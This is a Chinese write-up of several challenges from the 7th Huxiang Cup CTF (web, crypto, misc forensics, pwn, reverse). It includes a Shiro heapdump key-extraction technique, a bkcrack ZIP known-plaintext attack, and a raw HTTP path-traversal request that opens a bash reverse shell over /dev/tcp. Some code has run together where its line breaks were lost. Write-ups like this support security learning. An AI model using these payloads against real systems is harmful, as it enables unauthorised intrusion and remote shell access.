我只解了一道密码和一道杂项,因为疫情没有去线下赛。

wp

  • web
    • Eazywill
    • Pentest in Autumn
  • crypto
    • signin
  • misc
    • 某取证题
  • pwn
    • tiny_httpd
  • reverse
    • Hideit

web

Eazywill

开局给了源代码,审计一下
重点在View::fetch()函数,经过一系列流程调用了renderTo,以下是重点代码

extract($_vars);
include $cfile;


那么直接传参: /?name=cfile&value=/etc/passwd
可以读取,但是尝试读取/flag失败,
联想到以前看过https://tttang.com/archive/1312/
那么直接靠这个考点,直接传参:


Pentest in Autumn

首先给了pom.xml
提示shiro是1.5.0版本,有未授权访问漏洞
访问http://eci-2zej1goyn9jh89xtqlpd.cloudeci1.ichunqiu.com:8888/;a/actuator/heapdump,
然后使用MAT打开进行分析
直接oql查询:

select s from org.apache.shiro.web.mgt.CookieRememberMeManager s

直接查看左侧Attributes


根据密钥的生成规则,
base64.b64encode(struct.pack(’<bbbbbbbbbbbbbbbb’, -8,51,71,105,69,57,-45,-46,104,73,116,3,28,126,-34,58))
得到密钥:
+DNHaUU509JoSXQDHH7eOg==
然后使用shiro的利用工具,直接getflag

crypto

signin

和[羊城杯 2020]RRRRRRRSA挺像的,前面连分数逼近部分的脚本用的是翅膀师傅博客里的。

from Crypto.Util.number import *
from gmpy2 import *
def transform(x, y):  # 使用辗转相除将分数x/y转为连分数的形式res = []while y:res.append(x // y)x, y = y, x % yreturn resdef continued_fraction(sub_res):numerator, denominator = 1, 0for i in sub_res[::-1]:  # 从sublist的后面往前循环denominator, numerator = numerator, i * numerator + denominatorreturn denominator, numerator  # 得到渐进分数的分母和分子,并返回# 求解每个渐进分数
def sub_fraction(x, y):res = transform(x, y)res = list(map(continued_fraction, (res[0:i] for i in range(1, len(res)))))  # 将连分数的结果逐一截取以求渐进分数return resdef wienerAttack(n1, n2):for (q2, q1) in sub_fraction(n1, n2):  # 用一个for循环来注意试探n1/n2的连续函数的渐进分数,直到找到一个满足条件的渐进分数if q1 == 0:  # 可能会出现连分数的第一个为0的情况,排除continueif n1 % q1 == 0 and q1 != 1:  # 成立条件return (q1, q2)print("该方法不适用")
c1=361624030197288323178211941746074961985876772079713896964822566468795093475887773853629454653096485450671233584616088768705417987527877166166213574572987732852155320225332020636386698169212072312758052524652761304795529199864805108000796457423822443871436659548626629448170698048984709740274043050729249408577243328282313593461300703078854044587993248807613713896590402657788194264718603549894361488507629356532718775278399264279359256975688280723740017979438505001819438
c2=33322989148902718763644384246610630825314206644879155585369541624158380990667828419255828083639294898100922608833810585530801931417726134558845725168047585271855248605561256531342703212030641555260907310067120102069499927711242804407691706542428236208695153618955781372741765233319988193384708525251620506966304554054884590718068210659709406626033891748214407992041364462525367373648910810036622684929049996166651416565651803952838857960054689875755131784246099270581394N1=1150398070565459492080597718626032792435556703413923483458704675295997646493249759818468321328556510074044954676615760446708253531839417036997811506222349194302791943489195718713797322878586379546657275419261647635859989280700191441312691274285176619391539387875252135478424580680264554294179123254566796890998243909286508189826458854346825493157697201495100628216832191035903848391447704849808577310612723700318670466035077202673373956324725108350230357879374234418393233
N2=1242678737076048096780023147702514112272319497423818488193557934695583793070332178723043194823444815153743889740338870676093799728875725651036060313223096288606947708155579060628807516053981975820338028456770109640111153719903207363617099371353910243497871090334898522942934052035102902892149792570965804205461900841595290667647854346905445201396273291648968142608158533514391348407631818144116768794595226974831093526512117505486679153727123796834305088741279455621586989
q1,q2=wienerAttack(N1, N2)p1=iroot(N1//q1,4)[0]
p2=iroot(N2//q2,4)[0]phi1=(p1**4-p1**3)*(q1-1)
phi2=(p2**4-p2**3)*(q2-1)d1=invert(65537,phi1)
d2=invert(65537,phi2)
print(long_to_bytes(pow(c1,d1,N1)))
print(long_to_bytes(pow(c2,d2,N2)))
flag{8ef333ac-21a7-11ec-80f1-00155d83f114}

misc

某取证题

直接foremost,可以看到很多jpg图片和png图片,有的jpg图片上好像有字符,于是

一个一个dumpfiles弄出来,其中一张上面有后半个flag

接着pslist看进程,发现有wireshark,dump出来,再foremost,其中有一个加密的压缩包

尝试之后发现不是常规加密,是一种明文攻击,参考文章:https://blog.csdn.net/q851579181q/article/details/109767425

因为这里是jpg文件,所以选定文件头作为明文保存为key,这里选定的明文比较长,所以爆破速度会快很多,不过这一段是t.jpg对应的,跑秘钥的时候只能指定t.jpg。用FFD8FFE000104A4649460001作为明文段会慢一点,但是两个图片都能指定。

echo -n "FFD8FFE000104A4649460001010000010001" | xxd -r -ps >key

然后跑秘钥

time ./bkcrack -C 1.zip -c t.jpg -p key -o 0

最后能跑出三段秘钥b0a90b36 14dd97b9 f5d648cf

再用秘钥去解两个图片,这里以a.jpg为例,解出来之后发现是Deflate的压缩形式,不能直接查看,于是使用inflate.py进行解压

bkcrack -C 1.zip -c a.jpg  -k b0a90b36 14dd97b9 f5d648cf -d a1.jpg

#解压
python3 tools/inflate.py < a1.jpg > 2.jpg

解压之后就可以看到前一半flag

pwn

tiny_httpd

附件主页文件里发现有命令执行加绕过
方法
1.vps监听端口
2.然后连靶机nc执行下面命令

POST //...//...//...//...//...//...//...//...//...//...//...//.../bin/bashContent-Length: 100 HTTP/1.0 200 OKHTTP/1.0 200 OKbash -i >& /dev/tcp/vps地址/监听端口  0>&1 nc

vps上会弹shell,直接cat flag就行

reverse

Hideit

这个题首先祭出findcrypt

发现有salsa20
分析一下流程,其实需要调试

调试分析后发现是一个dll文件,分析算法
第一个算法是xxtea的加密算法,后面的才是findcrypt找到的salsa20算法。
第一个解出来密钥:dotitsit,,和真正的flag没啥关系
关键在于salas20算法,在内存中找到了0N3@aYI_M3l0dy_KurOm1_W_Suk1dqy0
至于算法的解密,其实都是异或算法,只要在内存中提取密钥流就行了,
把key和密文异或得出flag

key = [0x8D, 0xE2, 0x3D, 0xC2, 0x19, 0xF2, 0x2D, 0xCA, 0x18, 0x14, 0xCF, 0x52, 0x77, 0x5A, 0x9C, 0x13, 0xAA, 0xCC, 0x04, 0x5B, 0x92, 0xC1, 0x0C, 0x68, 0x45, 0x58, 0xF9, 0x47, 0x68, 0xD9, 0x35, 0xC5]
encstr = [0xEB, 0x8E, 0x5C, 0xA5, 0x62, 0xB4, 0x1C, 0x84, 0x5C, 0x59, 0xFC, 0x0D, 0x43, 0x3C, 0xAB, 0x20, 0xD8, 0x93, 0x33, 0x13, 0xA1, 0x9E, 0x39, 0x00, 0x76, 0x14, 0xB5, 0x04, 0x58, 0x9D, 0x06, 0xB8]
flag = ""
for i in range(32):flag += chr(key[i] ^ encstr[i])
print flag
#flag{F1NDM3_4f73r_7H3_5h3LLC0D3}

第七届“湖湘杯” Bugku战队writeup相关推荐

  1. 第七届湖湘杯网络安全大赛 - 初赛writeup

    Web easywill 解题思路 变量覆盖 http://eci-2zej1goyn9jh8hty6ton.cloudeci1.ichunqiu.com/?name=cfile&value= ...

  2. 2018湖湘杯海选复赛Writeup

    2018湖湘杯Writeup 0x01 签到题 0x02 MISC Flow 0x03 WEB Code Check 0x04 WEB Readflag 0x05 WEB XmeO 0x06 Reve ...

  3. 北大cls_战报 | 第七届CLS“联合杯”篮球联赛

    第七届CLS"联合杯"篮球赛 秋意渐浓 还有什么比一场篮球赛来得更酣畅淋漓 2020年11月1日 第七届北大清华生命科学联合中心 "联合杯"篮球联赛正式拉开帷幕 ...

  4. 第七届泰迪杯挑战赛C题

    第七届"泰迪杯"数据挖掘挑战赛C题赛题和数据 网盘链接: https://pan.baidu.com/s/1VRIHBLqaTsfOMLnVmibo5A 提取码:L6X6

  5. 2022第七届“数维杯”大学生数学建模夏令营

    一.夏令营背景 2022年"高教社杯"全国大学生数学建模竞赛(CUMCM,简称"国赛"将于 2022年9月15日周四18时至2022年9月18日周日20时举行, ...

  6. 2022年第七届数维杯大学生数学建模挑战赛报名通知

    一.竞赛背景 为了培养学生的创新意识及运用数学方法和计算机技术解决实际问题的能力,内蒙古创新教育学会.内蒙古创新教育资源开发研究院举办2022第七届数维杯大学生数学建模挑战赛(以下简称竞赛),数维杯大 ...

  7. 湖湘杯2019两个密码题wp

    湖湘杯2019两个密码题wp   还是自己太菜的原因,这次湖湘杯只做出来4道题,然后5点的时候就放弃了去跟同学出去玩了,当时感觉进前50无望(这次湖湘杯py情况也很严重啊,可惜烽火台只报不封,挺恶心的 ...

  8. 2019湖湘杯 misc3 之miscmisc

    ** 2019湖湘杯 misc3 之miscmisc* 明文攻击 关于LSB图片隐写的解法 word字符隐藏显示 zip加密文件破解 作为CTF小白,对于CTF一如既往的热爱,一个人报名了今年的湖湘杯 ...

  9. 2020湖湘杯 wp

    2020湖湘杯 wp web 题目名字不重要反正题挺简单的 NewWebsite misc misc2(题目名忘了.....) 总结 昨天打了下湖湘杯,签到选手上线. web 题目名字不重要反正题挺简 ...

最新文章

  1. 关于Jfinal的分享代码托管GitHub
  2. 自动布局的 弊端 (后续)
  3. 晒一波程序员的工位,你中意哪一款?
  4. 腾讯会跟中国移动一样慢慢衰落么
  5. Cygwin编译cef
  6. [云炬创业基础笔记]第九章企业的法律形态测试4
  7. php的declare命令
  8. python os.system 512_python os.system os.popen 区别
  9. Codeforces Round #264 (Div. 2) 解题报告
  10. PHP 三种方式实现链式操作
  11. Windows10 部分系统无法安装USB转串口驱动问题解决
  12. 【图像处理】sobel边缘检测的实现
  13. 哪款投影仪做家庭影院效果好?家用投影仪哪个好
  14. Node.jsv12.0 https请求报错
  15. Map嵌套Map遍历
  16. convolutional LSTM(convLSTM)的pytorch版本代码实现
  17. C语言从入门到精通 【精读C Prime Plus】【C语言笔记1-4章节】【更新中~】
  18. IDEA优化配置(6)--- 炫酷的主题字体颜色设置(基于Intellij IDEA 2018)
  19. java本科研究生待遇_本科生VS研究生薪资对比!差别这么大?
  20. 仪器科学与技术毕业论文范文

热门文章

  1. jmeter之插件perfmon
  2. 助过网:公务员从报名到入职需要多长时间
  3. C#NPOI导出至Word
  4. Latex快速成长之路——从小白到熟练
  5. 开发消费Linux桌面系统困难重重
  6. eplan部件列表手动修改_EPLAN如何修改设备标示符规则,当插入元件时不显示设备标示符前的“-”号,每次删除很麻烦!...
  7. 循环赛日程表算法——分治法
  8. 虚拟机使用宿主机的网络Proxy
  9. linux火狐浏览器49.0安装教程,火狐浏览器v49.0.0 正式版以及长期版本(转载)
  10. i510600k和i79700k哪个好